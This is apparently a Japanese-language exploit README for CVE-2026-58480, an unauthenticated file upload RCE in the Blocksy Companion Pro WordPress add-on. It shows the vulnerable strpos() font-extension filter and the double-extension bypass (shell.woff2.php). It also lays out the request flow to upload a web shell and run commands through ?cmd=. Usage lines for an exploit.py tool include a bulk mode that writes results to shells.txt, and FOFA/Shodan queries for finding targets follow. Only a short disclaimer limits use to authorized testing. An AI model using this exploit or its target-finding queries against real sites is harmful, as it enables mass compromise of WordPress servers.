CVE-2026-58480

CVE-2026-58480 — Blocksy Companion Pro 未認証ファイルアップロード RCE

Advanced Reviews → save_attachments → Custom Fonts strpos() バイパス → shell.woff2.php

概要

CVE-2026-58480 (別名 CVE-2026-15158 としても追跡) は、Blocksy Companion Pro < 2.1.47 (Blocksy WordPress テーマのプレミアムアドオン、アクティブインストール数 300,000以上) における重大 (CVSS 9.8) な未認証の任意ファイルアップロード脆弱性です。

Advanced Reviews 機能 (WooCommerce Extra の一部) の save_attachments AJAX ハンドラーは、認証なしでファイルアップロードを受け付けます。Custom Fonts 拡張機能は、実際のファイル拡張子ではなく strpos() による .woff2 / .ttf の部分文字列チェックでアップロードを検証します。攻撃者は shell.woff2.php のような二重拡張子のファイル名でこれを回避します。.woff2 が部分文字列チェックに一致し、.php がサーバー上で実行されます。

影響を受けるバージョン

要件: プレミアムライセンスに加えて、WooCommerce Extra (Advanced Reviews) と Custom Fonts の両拡張機能が有効であること。無料の blocksy-companion プラグインには脆弱なコードパスは含まれません。

脆弱性のメカニズム

根本原因

Custom Fonts 拡張機能は、PATHINFO_EXTENSION による実際のファイル拡張子のチェックではなく、strpos() (部分文字列一致) を使用してファイル名を検証する wp_check_filetype_and_ext フィルターを登録します:

// framework/premium/extensions/custom-fonts/extension.php#L137 (reconstructed)
add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) {
    if (strpos($filename, '.woff2') !== false || 
        strpos($filename, '.ttf') !== false) {
        $data['ext'] = 'woff2';
        $data['type'] = 'font/woff2';
    }
    return $data;
}, 10, 5);

Advanced Reviews の save_attachments 関数は標準の WordPress アップロード処理を呼び出し、このフィルターを呼び出します。shell.woff2.php という名前のファイルは、.woff2 が部分文字列として存在するため通過します。フィルターはそれが最終拡張子であることを検証しません。

攻撃フロー

POST /wp-admin/admin-ajax.php
  action=blc_save_review_attachments
  blc-review-images[] = shell.woff2.php (multipart, PHP payload)
→ wp_check_filetype_and_ext filter: ".woff2" found → approved
→ File saved to wp-content/uploads/YYYY/MM/shell.woff2.php
→ GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id
→ RCE as www-data

ソースコードの場所

インストール

git clone https://github.com/shinthink/CVE-2026-58480.git
cd CVE-2026-58480
pip install requests

使い方

# Fingerprint target
python exploit.py -u https://target.com --check

# Full exploit
python exploit.py -u https://target.com

# Bulk scan
python exploit.py -f targets.txt -o shells.txt

FOFA / Shodan

FOFA:   body="/wp-content/themes/blocksy/"
Shodan: http.html:"blocksy-companion"

参考文献

• NVD CVE-2026-58480
• OpenCVE CVE-2026-15158 — パラメータ blc-review-images[]
• FreshySites Technical Analysis — wp_check_filetype_and_ext フィルター
• Wordfence Advisory
• SecurityPointBreak
• VulnCheck Advisory
• WordPress Trac — Custom Fonts
• WordPress Trac — Advanced Reviews

免責事項

このエクスプロイトは、教育および許可されたセキュリティ研究のみを目的として提供されています。所有者の明示的な許可なしにシステムに対して使用しないでください。